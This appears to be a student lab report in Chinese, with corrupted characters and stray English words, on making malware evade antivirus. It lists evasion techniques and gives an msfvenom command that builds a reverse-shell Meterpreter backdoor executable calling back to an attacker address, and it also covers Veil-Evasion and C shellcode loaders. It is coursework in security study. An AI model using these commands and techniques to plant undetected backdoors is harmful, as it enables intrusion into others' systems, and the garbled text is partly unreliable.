xp3 免殺原理與實踐python
1、實踐內容linux
1.正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,本身利用shellcode編程等免殺工具或技巧;git
2.經過組合應用各類技術實現惡意代碼免殺(若是成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。)github
3.用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本shell
2、基礎問題回答編程
1.殺軟是如何檢測出惡意代碼的?c#
基於特徵碼的檢測windows
啓發式惡意軟件的檢測安全
基於行爲的惡意軟件檢測。ruby
2.免殺是作什麼?
通常是對惡意軟件作處理,讓它不被殺毒軟件所檢測。也是滲透測試中須要使用到的技術。
要作好免殺,就時清楚殺毒軟件(惡意軟件檢測工具)是如何工做的。AV(Anti-virus)是很大一個產業。其中主要的技術人員基本有編制惡意軟件的經驗。
反過來也同樣,瞭解了免殺的工具和技術,你也就具備了反制它的基礎。
3.免殺的基本方法有哪些?
就常見惡意軟件而言,通常AV的檢出率爲40%-98%。就算你用了最好的AV,惡意軟件依然有1/50的機率經過檢測。這個機率還能夠,貌似多試幾種惡意軟件就能夠了。那免殺的方法固然是針對檢測技術的。
--
因此整體技術有:
改變特徵碼
若是你手裏只有EXE
加殼:壓縮殼 加密殼
有shellcode(像Meterpreter)
用encode進行編碼
基於payload從新編譯生成可執行文件
有源代碼
用其餘語言進行重寫再編譯(veil-evasion)
--
改變行爲
通信方式
儘可能使用反彈式鏈接
使用隧道技術
加密通信數據
操做模式
基於內存操做
減小對系統的修改
加入混淆做用的正常功能代碼
--
免殺就是讓安插的後門不被AV軟件發現。除了直接使用現有後門軟件外,還有一些方式,在實際中也有用。
很是規方法
使用一個有漏洞的應用當成後門,編寫攻擊代碼集成到如MSF中。
使用社工類攻擊,誘騙目標關閉AV軟件。
純手工打造一個惡意軟件
--
留後門的思路是這樣的:
你寫一個有漏洞的軟件,開一個服務端口。這個軟件自己沒問題。而後若是這個端口被攻擊,就能夠得到系統控制權。
經過meterpreter這種駐留內存的payload,AV軟件很難檢出。
這樣的小漏洞程序你們也有作,本身攻擊本身仍是很容易的。
固然最好的方法,仍是手工打造,本身從頭編一個,沒有通用工具的特徵,AV軟件也就殺不出來了。
從頭打造固然是至關有難度的,但咱們能夠利用Metasploit已有的payload來半手工的打造,效果也不錯
實驗步驟:
一:利用上次實驗的後門程序,用msf對其進行編碼:
Msfvenom是Metasploit平臺下用來編碼payloads免殺的工具。
# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=172.30.3126 LPORT=1120 -f exe >xm1120_backdoor.exe
將其上傳到https://www.virustotal.com/ http://www.virscan.org/
上進行檢測,我選擇了後一箇中文網站結果以下
使用msf編碼十次:
效果一如既往的被查殺,曝光率沒變。。。。。。。
Veil-Evasion是一個免殺平臺,與Metasploit有點相似,在Kalil軟件庫中有,但默認沒裝。免殺效果比較好。官網上有視頻教程。
結果呢,生成了一個,上傳測試,virustoal檢出爲19/57。
Veil-evasion是用其餘語言如c,c#,phython,ruby,go,powershell等重寫了meterperter,而後再經過不一樣方式編譯成exe,共性特徵比較少。
裝veil 血淚史:參考https://github.com/veil-Framework/veil上的方法
在cd veil 時,若找不到veild的路徑,
輸入:whereis veil便可
接下來
建議你們用流量,由於在這一步時特別緩慢,要下載很大的內容,
在裝python時我很奇怪它的默認安裝路徑時以windows系統的c:\........開始的,我以爲既然是在linux下開始的話,也應該是root/....很奇怪,更讓我生氣地是裝了veil後,個人msf不能用了,搗鼓了一成天,個人kali崩了,然而以前我把本身的快照失手刪了,完蛋。。。。。
喲:犧牲的msf:
還好我裝了兩個kali。已經犧牲了一個,讓我以爲。。。。心累
繼續:輸入veil:
而後,按照提示步驟來唄
選擇 28
出現了分歧:選1呢仍是2呢,都試試吧
貌似1有問題嘞
因此選2
但這兩個都沒產生.exe文件,我也不明吧,我以爲極可能是python沒安裝成功的問題,在博客中有人說用c,我試了試,
然而,沒用的啦,依舊被360發現,可是曝光率下降了
三:用c調用msf生成的shellcode編寫後門程序進行測試
我用的是codeblock編譯的,沒有用vs
部分代碼影藏
最初時,沒有被360發現,可是過了一天,就被360發現刪除了。。。。。。
這個方法好啊,曝光率最低,挺好的。
最初時,沒有被360發現,可是過了一天,就被360發現刪除了。。。。。。
四.加殼
呵呵,沒用啊!
很奇怪啊,網站上的360沒有檢驗出這是病毒,可是我電腦上的360發現了?什麼狀況
實驗體會:
我以爲,此次實驗原理很易懂,但操做有些複雜,不知爲啥,強大的殺毒軟件將我擊敗了,其實在前幾天,360是沒發現veil編碼以及c調用shellcode 的免殺方式的,只不過當我處理其餘事情的時候,360後來才發現的,致使我沒能逃掉免殺,這也說明,當出現新的病毒時,殺毒軟件有一段滯後期,若黑客能在滯後期期間完成攻擊任務,殺毒軟件便沒了意義。因此仍是要增強安全意識,不要下載陌生程序代碼,畢竟在滯後期內,殺軟無能爲力。
此外,總的來講,國內的殺軟仍是360好一點。。。嗯,沒毛病
可是我犧牲了一個kali,這讓我無語,只好從頭再來了